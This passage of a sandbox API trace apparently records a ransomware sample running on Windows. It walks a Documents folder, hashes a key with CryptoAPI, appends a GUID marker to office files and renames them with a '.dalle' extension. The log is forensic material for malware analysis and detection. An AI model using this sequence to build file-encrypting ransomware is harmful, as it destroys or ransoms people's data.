lpMsg=0x388fb74) returned 0 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.494] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.495] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.495] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.497] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.497] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.498] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.498] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.499] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6f10 [0122.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\") returned="H8Jb9z2r7CZ5\\" [0122.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\") returned="jCjO-w4 p w1\\" [0122.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\") returned="7sg88LIA79bVPrOA\\" [0122.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0122.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.499] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.499] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.499] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.499] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.499] PathFindFileNameW (pszPath="") returned="" [0122.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c96c1a0, ftCreationTime.dwHighDateTime=0x1d4cbb7, ftLastAccessTime.dwLowDateTime=0x82e6e6b0, ftLastAccessTime.dwHighDateTime=0x1d4c964, ftLastWriteTime.dwLowDateTime=0x82e6e6b0, ftLastWriteTime.dwHighDateTime=0x1d4c964, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.504] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6f10 | out: hHeap=0x5e0000) returned 1 [0122.504] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c96c1a0, ftCreationTime.dwHighDateTime=0x1d4cbb7, ftLastAccessTime.dwLowDateTime=0x82e6e6b0, ftLastAccessTime.dwHighDateTime=0x1d4c964, ftLastWriteTime.dwLowDateTime=0x82e6e6b0, ftLastWriteTime.dwHighDateTime=0x1d4c964, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.504] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18258b0, ftCreationTime.dwHighDateTime=0x1d4c652, ftLastAccessTime.dwLowDateTime=0xe5d6b4c0, ftLastAccessTime.dwHighDateTime=0x1d4d00e, ftLastWriteTime.dwLowDateTime=0xe5d6b4c0, ftLastWriteTime.dwHighDateTime=0x1d4d00e, nFileSizeHigh=0x0, nFileSizeLow=0x23d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5D72zjcGaxP.docx", cAlternateFileName="5D72ZJ~1.DOC")) returned 1 [0122.504] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\5D72zjcGaxP.docx") returned=".docx" [0122.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\5D72zjcGaxP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\5d72zjcgaxp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.505] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=9169) returned 1 [0122.505] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.507] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x23ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.507] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0122.508] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.508] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x23d1, lpOverlapped=0x0) returned 1 [0122.509] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.509] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.509] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0122.509] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0122.510] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0122.510] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0122.510] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0122.510] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0122.510] GetLastError () returned 0x0 [0122.510] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0122.510] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0122.510] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0122.510] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x23d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.510] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0122.510] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0122.511] CloseHandle (hObject=0x618) returned 1 [0122.512] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\5D72zjcGaxP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\5d72zjcgaxp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\5D72zjcGaxP.docx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\5d72zjcgaxp.docx.dalle")) returned 1 [0122.512] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0122.512] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.513] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0122.513] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1241730, ftCreationTime.dwHighDateTime=0x1d4cb56, ftLastAccessTime.dwLowDateTime=0xb0e06b50, ftLastAccessTime.dwHighDateTime=0x1d4ce9a, ftLastWriteTime.dwLowDateTime=0xb0e06b50, ftLastWriteTime.dwHighDateTime=0x1d4ce9a, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8SXrSbpJ3InRj4z.ppt", cAlternateFileName="8SXRSB~1.PPT")) returned 1 [0122.513] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\8SXrSbpJ3InRj4z.ppt") returned=".ppt" [0122.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\H8Jb9z2r7CZ5\\8SXrSbpJ3InRj4z.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\h8jb9z2r7cz5\\8sxrsbpj3inrj4z.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.514] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=17380) returned 1 [0122.514] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.516] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x43be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.516] ReadFile (in: 